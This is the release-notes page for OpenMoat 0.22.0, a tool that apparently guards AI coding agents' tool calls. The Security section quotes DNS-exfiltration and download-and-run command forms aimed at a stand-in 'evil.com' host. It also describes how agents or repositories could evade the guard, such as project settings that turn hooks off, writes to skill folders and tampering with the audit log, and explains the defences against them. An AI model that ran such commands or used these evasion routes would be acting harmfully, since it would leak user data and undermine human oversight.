Repository navigation
0.22.0 - 2026-11-15
Alpha: the hook's decisions are not enforced by the operating system (ADR-013). Only commands inside the host sandboxes
openmoat initconfigures, or underopenmoat run, are confined by the OS. Elsewhere an allowed call runs with your permissions, so a classifier mistake is a security bug.
Release Notes
Upgrading: run openmoat policy upgrade in your own terminal for the new and changed default rules (package-run-unknown, unattended, the keyed audit key and the new agents' paths), then openmoat init once: it sets Claude Code's CLAUDE_CODE_DISABLE_FILE_MENTIONS, makes the audit key, and sets up Qwen Code and Crush where they are installed. Restart a running openmoat proxy, openmoat approvals listen or openmoat mcp proxy after upgrading: one from the older build refuses to record until it is restarted. A policy with unattended: is refused by an older binary. Running a package with npx, uvx or pipx run that the project neither installs nor declares now needs review once.
Security
- The policy lock now records which agent owns each pinned hook file, and the settings an agent may change without stopping the guard (Claude Code's display toggles, permission lists and model, Gemini CLI's model and theme) apply only to that agent's own file. Before, any pinned file named
settings.jsontook Claude Code's list by its name; an agent added later with a file of that name now drifts on any change. Locks from earlier releases keep verifying as before until the next re-pin (#814). openmoat approvals connectno longer shows the bot token as you paste it: the terminal's echo is off while the token is read, Ctrl-C cancels and puts the terminal back, nothing prints it back, and a token piped into the command is refused (--credential-filereads one from a file; on Windows it is the only way) (#816).openmoat approvals installkeepsopenmoat approvals listenrunning after the terminal closes, as a launchd user agent (macOS) or systemd user unit (Linux) started at login, restarted when it fails, logging owner-only to~/.moat/logs/approvals.*.log;openmoat approvals uninstallandopenmoat uninstallremove it, andapprovals statusanddoctorreport it. The service'slisten --serviceneeds no terminal but still refuses an agent among its parents, a service file that differs from whatinstallwrote, an environment that changes its TLS roots or loads a library, and a start the service manager did not make; only one listener runs at a time, and on Linux it cannot be attached to by other processes (ADR-094) (#816).openmoat approvals listen --servicealso refuses to start unless the service manager loaded the installed unit or plist alone and runs the installed program: a systemd drop-in, a transient unit, or a plist bootstrapped from another path under the same name is refused. The default policy'skernel-selfnow denies changing any of OpenMoat's user services by hand (the proxy's and the listener's): stopping, restarting, editing or reloading them withsystemctlorlaunchctl, writing their unit, plist or a drop-in, setting the environment every service gets, and starting the listener or the proxy withsystemd-runorlaunchctl submit(#816).- A file you name with
@in a Claude Code prompt is now read through OpenMoat's hook:openmoat initsetsCLAUDE_CODE_DISABLE_FILE_MENTIONS=1in theenvof your Claude Codesettings.json, so Claude Code (2.1.299 or later) reads the file with its file tools instead of inserting it with no tool call. A secret named that way is denied like any other read of it. An install without the variable is reported as needingopenmoat init;openmoat uninstalltakes it out (#822). - Grok Build and the Devin CLI run the hooks in Claude Code's settings files with their own tool names, which OpenMoat's Claude Code hook used to leave unchecked. Such a call is now checked for every path, URL and command its arguments name, and a call that needs review is denied with how to approve it, since neither agent asks the person (ADR-097) (#822).
- Writes to OpenCode's own agents, modes and skills in
~/.config/opencode(agents/,agent/,modes/,mode/,skills/,skill/, and those folders and the command and tool folders themselves) now need review, and a project's.opencode/modes/,.opencode/mode/and.opencode/skill/join its agent configuration, whichopenmoat runkeeps commands from writing (#822). - The shared Agent Skills folder
.agents/skills/, which Codex, Cursor, GitHub Copilot CLI, pi, Gemini CLI, OpenCode, goose and Antigravity CLI load into later sessions, is now agent configuration in every session, not only after untrusted content: an agent's write there, or to the.agentsand.agents/skillsfolders, needs review, andopenmoat runkeeps commands from writing it (#822). openmoat runno longer starts an agent whose project turns its OpenMoat hook off as the session starts (Claude Code or GitHub Copilot CLIdisableAllHooks, a trusted Codex project'sfeatures.hooks, Gemini CLIhooksConfig.enabled, a piextensionsexclusion, an OpenCode-openmoatentry, a goosedisabledPluginsentry or project plugin namedopenmoat, an Antigravity CLI.agents/hooks.jsonentry): it reads every folder from the working directory to the project root, names the file and the way out, and records the refusal. Claude Code starts with--settings '{"disableAllHooks":false}'on every run, so settings it reloads mid-session cannot turn the hooks off either (not when you pass your own--settings, and not when your own settings turn hooks off, which it says). An OpenCode file using{env:…}/{file:…}substitution and a Codex profile'sfeatures.hooks = falsecount too. The person's own policy can saysandbox.project_hook_off: start, honoured only while the policy lock holds, which a repository policy cannot, and each such run is recorded (ADR-098) (#823).openmoat init --managedalso writes OpenMoat's hook where an administrator's hooks live, which a repository's settings cannot turn off: Claude Code'smanaged-settings.d/50-openmoat.json, GitHub Copilot CLI'spolicy.d/openmoat.json, Cursor's enterprisehooks.json(only while it is missing or OpenMoat's alone). It needs a person at a terminal, prints thesudo installcommand where the file needs root instead of escalating, never edits an administrator's own file, andopenmoat uninstallremoves it;openmoat doctorreports it. The default policy'smanaged-settingsrule now also covers Copilot CLI'spolicy.dand Cursor's and OpenCode's system folders (ADR-098) (#823).- Antigravity CLI:
openmoat init's hook now blocks a call with its deny on stdout and exit 0, as the agent's plugin package already did, instead of exit 2, which Antigravity's plugin guide says it ignores; a deny that cannot be written still exits 2. Each host's deny exit code is now one fact of its spec, read byopenmoat guardand the host's package (ADR-100) (#824). - The audit log is keyed: each event now carries a MAC of its chain hash under a per-install key,
~/.moat/audit.key, whichopenmoat init(or the first call after the upgrade) makes owner-only and the default policy keeps from agents. Someone who can changeaudit.dbbut cannot read the key can no longer rewrite events so that the log still verifies;openmoat doctor,openmoat audit verify --againstandopenmoat audit anchorreport the first event whose MAC is missing or wrong. Events written before the upgrade keep verifying by their hashes only. If the key is deleted while the log holds keyed events, OpenMoat records nothing more and every call is denied until it is put back, or the log is moved aside andopenmoat initstarts a new one, keeping the old key beside it asaudit.key.<time>.old. The key file also records the event it was made after and that event's hash, so a log cut back below it, or whose earlier events were rewritten after the keyed ones were dropped, fails too. Exports of keyed events aremoat-audit-export-v2lines with the MAC and the key's id;openmoat audit verifychecks the MACs on the machine that holds the key. Code running as you outside any sandbox can read the key too, so anchors kept off the machine stay the defence there (ADR-101). After upgrading, restart a runningopenmoat proxy,openmoat approvals listenand any agent with a wrapped MCP server: a process of the older build refuses to record until it is restarted (#825). npx,bunx,pnpx,npm exec,npm x,pnpm dlx,yarn dlx,bun x,uvx,uv tool runandpipx runare read for the package they fetch and run: a name that is a near miss of a popular package needs review as its install does (package-near-miss), and a name on neither the bundled popular list nor the new tool lists (scaffolders, linters, type checkers and other tools people commonly run this way) needs review too, pinned to a version or not (package-run-unknown, new in the default policy). It does not when the project already provides it: a program in the project'snode_modules/.bin(npx tsc,npx ng), or a package its nearestpackage.json,pyproject.tomloruv.lockdeclares; a declared near miss still needs review.npx --no-install,npm exec --noanduvx --offlinefetch nothing and are unchanged.openmoat allow --alwaysapproves the package with the command (ADR-102) (#825).- A host name a resolver or client gets that the shell builds at run time from a command's output (
dig $(whoami).evil.com,nslookup `id`.evil.com) or, for a program that is not an HTTP client, a variable (host -t txt $C.evil.com) is decided as the domain it ends in, which the default policy denies when unlisted; a plain variable in an HTTP client's URL (curl https://$BUCKET.s3.amazonaws.com/x) is unchanged and defers as the URL written out does.drill,kdig,delv,getentandresolvectlname hosts asdigdoes, so their lookups of unlisted names, internal ones included, are denied. DNS exfiltration through a built name no longer defers; what is still not seen is indocs/LIMITS.md(ADR-102) (#825). - Downloaded code run through a command substitution in the program's place (
$(curl URL), also inside a shell's single-quoted string such assh -c '$(curl URL)'), in an interpreter's inline code (python3 -c "$(curl URL)"), or in the commandfind -execorxargsruns is denied ascurl URL | shis (pipe-to-shell); before, these deferred (ADR-102) (#825). - The temporary file
openmoat proxy's session key is first written to (proxy.key.<pid>.<nanos>.tmp) is denied to an agent's reads as the key itself is, as the audit key's already was (#826).
Added
- While
openmoat approvals listenruns, a call held for review waits up to 20 seconds in the hook for the approver's answer, so an approval from the phone runs the call at once instead of on the next try, and a deny denies it at once. The wait stays below the guard's 30-second budget and below each agent's hook time limit as its spec records it (a quarter of it where a timed-out hook lets the call run); no answer in time, or no listener, leaves the review as before.openmoat approvals wait <seconds>sets it, 0 turns it off (#815). @openmoat/sdkadds OpenMoat to an agent framework with one line:@openmoat/sdk/claude-agent-sdk(aPreToolUsehook),/openai-agents(a tool input guardrail),/ai-sdk(the Vercel AI SDK'sexecute),/mastra(beforeToolCall) and/langchain(awrapToolCallmiddleware). A denied call does not run and the model gets OpenMoat's reason; a call that needs review does not run unless areviewcallback approves it;defergoes to the framework's own approval; every error blocks the call; each decision's time is recorded. The package still has no dependencies, and each adapter's types are checked against its framework's release (#822).- docs/SDK.md says when a Claude Agent SDK app runs OpenMoat's hook with no code: with
settingSourcesleft out it loads the user settingsopenmoat initwrote, as the SDK's documentation and source show; and ADR-096 designs a Python SDK (#822). - Packages for each agent's own plugin channel, in preview and not yet listed: a Claude Code plugin with a marketplace file, a Cursor plugin, a Gemini CLI extension, a GitHub Copilot CLI plugin, npm packages for OpenCode and pi, a ClawHub package for OpenClaw, a plugin for the Hermes Agent Plugin Catalog and an Antigravity CLI plugin, in
plugins/, generated from the host specs. None holds a binary or downloads anything. Each runsopenmoat guard --host <id> --pluginwith the binary the policy lock pins (~/.cargo/bin, Homebrew's folder and the search path only before there is a lock) and blocks every call, naming the install command, when there is none; without a policy lock the guard denies and namesopenmoat init. A package decides only with the default state directory. Whereopenmoat init's own hook is installed and pinned for the hook file the agent reads, no settings file turns it off and, for pi, OpenCode and OpenClaw,init's plugin has itself reported loading, the package gives no decision, so each call is decided once. The audit log (schema 11) marks the calls a package decided, which never count asinit's plugin having loaded. The default policy'skernel-selfcovers the folder each agent keeps OpenMoat's package in, andopenmoat doctorreports what each package did last (ADR-099) (#823). openmoat audit statsshows, from this machine's audit log over a window (default the last 7 days), how much OpenMoat got in the way, per agent and over all: calls checked, p50/p95/p99 decision time, allow/defer/review/deny counts and per 100 calls, calls you approved, denies and reviews whose same call was allowed later in the session,kernel-errordenies, calls the guard denied with no decision in time, and what each agent does when the hook fails (from its spec).--format jsongives the same. It reads the log read-only and sends nothing.openmoat benchreports the same figures for its everyday scenarios asordinary_work, which CI's MoatBench test checks on every run; seedocs/DISTURBANCE.md(#824).- Qwen Code, in preview:
openmoat initadds aPreToolUsehook namedopenmoatto~/.qwen/settings.json(orQWEN_HOME) for Qwen Code 0.13.0 and later, andopenmoat guard --host qwen-codereads its Claude Code-shaped payload with Qwen Code's own tool names, answering a review asask. Built from Qwen Code's documentation and source, not yet run against a realqwen; a hook that fails or times out lets the call run, as Qwen Code has no fail-closed setting. The default policy protects~/.qwen, a project's.qwenandQWEN.md, and the weekly job installs the latest release (#824). - Crush, in preview:
openmoat initadds aPreToolUsehook namedopenmoatto Crush's globalcrush.json(~/.config/crush,$XDG_CONFIG_HOME/crushorCRUSH_GLOBAL_CONFIG) for Crush 0.63.0 and later, andopenmoat guard --host crushreads its Claude Code-shaped payload with Crush's own tool names. Crush cannot prompt from a hook, so a review reaches it as a deny that says how to approve the call, and starting a subagent, whose own tool calls fire no hook, needs review. Built from Crush's documentation and source, not yet run against a realcrush; a hook that fails or times out lets the call run. The default policy protects Crush's global configuration andcrushrc, and holds a project'scrush.json,.crush.json,crushrcand.crushrcfor review (#825). unattended: reviewin your own policy holds a call OpenMoat would leave to the agent (defer) for review when the agent would run it with no one asked, as far as its hook can see: Claude Code'sbypassPermissionsandautomodes, andacceptEditsfor file edits and the file commands it approves; pi without a screen; Hermes Agent in YOLO mode or with approvals off; Antigravity CLI withtoolPermission: always-proceed. Where Claude Code still asks (auto,acceptEdits) you are asked; where no one is, the agent receives a deny that says how to approve it (openmoat allow --last, or the approvals channel). The default staysdefer, so nothing changes until you set it; a repository policy or a pack cannot set it. An OpenMoat from before this release refuses a policy with the key, and its guard then denies every call, so update the binary first (POLICY.md §5.4, ADR-102) (#825).openmoat mcp accept(andopenmoat doctor --accept) asks whether to run a server it accepts as new through OpenMoat, asopenmoat initasks about the servers it finds; Enter is yes, and a no is remembered (ADR-102) (#825).
Changed
- The default policy's
agent-tempandmanaged-settingsrules and the core's built-in session-taint paths and metadata tools are generated from each agent's spec; the patterns are the same,agent-tempis now whatstagingleaves uncounted andopenmoat policy lintwarns when a read there is wider than one agent's temporary folder, andopenmoat mcp acceptnames the agent whose own MCP server a configured server takes the name of (#815). - The README's opening, its parts table and its features now say what OpenMoat checks and where: the tool calls an agent's hook reports, confinement only where an OS sandbox applies, the policy lock against the agent's calls but not against a program running outside a sandbox or project settings that turn hooks off, card numbers only in a call's own text, and the test runners and build tools that run a session's script without review; each points to Limits. "Sends nothing off your machine" now names the two things that do send when you set them up, remote approvals and live audit delivery (#822).
- The Continue CLI is no longer listed among the agents whose injected input is linked (the released
cnruns no hook), in the README,docs/LIMITS.mdanddocs/COVERAGE.md's OWASP table, and its rows say its repository is no longer maintained upstream; OpenMoat still recognises it (#822). docs/COVERAGE.mdlists T13 to T15, which no conformance fixture is tagged with, with the tests that exercise them and the fixtures of other classes that carry their rules;docs/EVIDENCE.mdsays CI asserts theopenmoat runcolumns on every pull request and that the Claude Code and Codex sandbox columns need the pinned host binaries, which CI does not fetch;docs/MOATBENCH.mdnames the release its per-agent scorecard was measured on (#822).- The pages for Codex, Gemini CLI, GitHub Copilot CLI, goose, Hermes Agent, pi and OpenCode record their changelogs as reviewed to the latest release, separately from the version their hook format was checked against. Gemini CLI 0.68.0 still reads
"ask", which OpenMoat sends for a review; OpenCode 2.3.0 still rejects a call whose plugin throws; Codex 0.167 runs the hook before its Guardian review; OpenClaw's trusted tool policies cannot undo OpenMoat's first-and-last decision; from Hermes Agent v0.23.0 a browser call is checked as an unknown tool (#822). - The README lists what this release adds: unknown packages run through
npx,uvxandpipx run, downloaded code passed through substitutions, the unattended profile, the keyed audit log, hooks a project cannot turn off (openmoat init --managedandopenmoat run's check), the SDK framework adapters, the plugin packages and fourteen agents (#826).
Install openmoat 0.22.0
Install prebuilt binaries via shell script
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/crocodile-labs/openmoat/releases/download/v0.22.0/openmoat-installer.sh | shInstall prebuilt binaries via powershell script
powershell -ExecutionPolicy Bypass -c "irm https://github.com/crocodile-labs/openmoat/releases/download/v0.22.0/openmoat-installer.ps1 | iex"Install prebuilt binaries via Homebrew
brew install crocodile-labs/tap/openmoatDownload openmoat 0.22.0
| File | Platform | Checksum |
|---|---|---|
| openmoat-aarch64-apple-darwin.tar.xz | Apple Silicon macOS | checksum |
| openmoat-x86_64-apple-darwin.tar.xz | Intel macOS | checksum |
| openmoat-x86_64-pc-windows-msvc.zip | x64 Windows | checksum |
| openmoat-aarch64-unknown-linux-gnu.tar.xz | ARM64 Linux | checksum |
| openmoat-x86_64-unknown-linux-gnu.tar.xz | x64 Linux | checksum |
| openmoat-aarch64-unknown-linux-musl.tar.xz | ARM64 MUSL Linux | checksum |
| openmoat-x86_64-unknown-linux-musl.tar.xz | x64 MUSL Linux | checksum |
Verifying GitHub Artifact Attestations
The artifacts in this release have attestations generated with GitHub Artifact Attestations. These can be verified by using the GitHub CLI:
gh attestation verify <file-path of downloaded artifact> --repo crocodile-labs/openmoatYou can also download the attestation from GitHub and verify against that directly:
gh attestation verify <file-path of downloaded artifact> --bundle <file-path of downloaded attestation>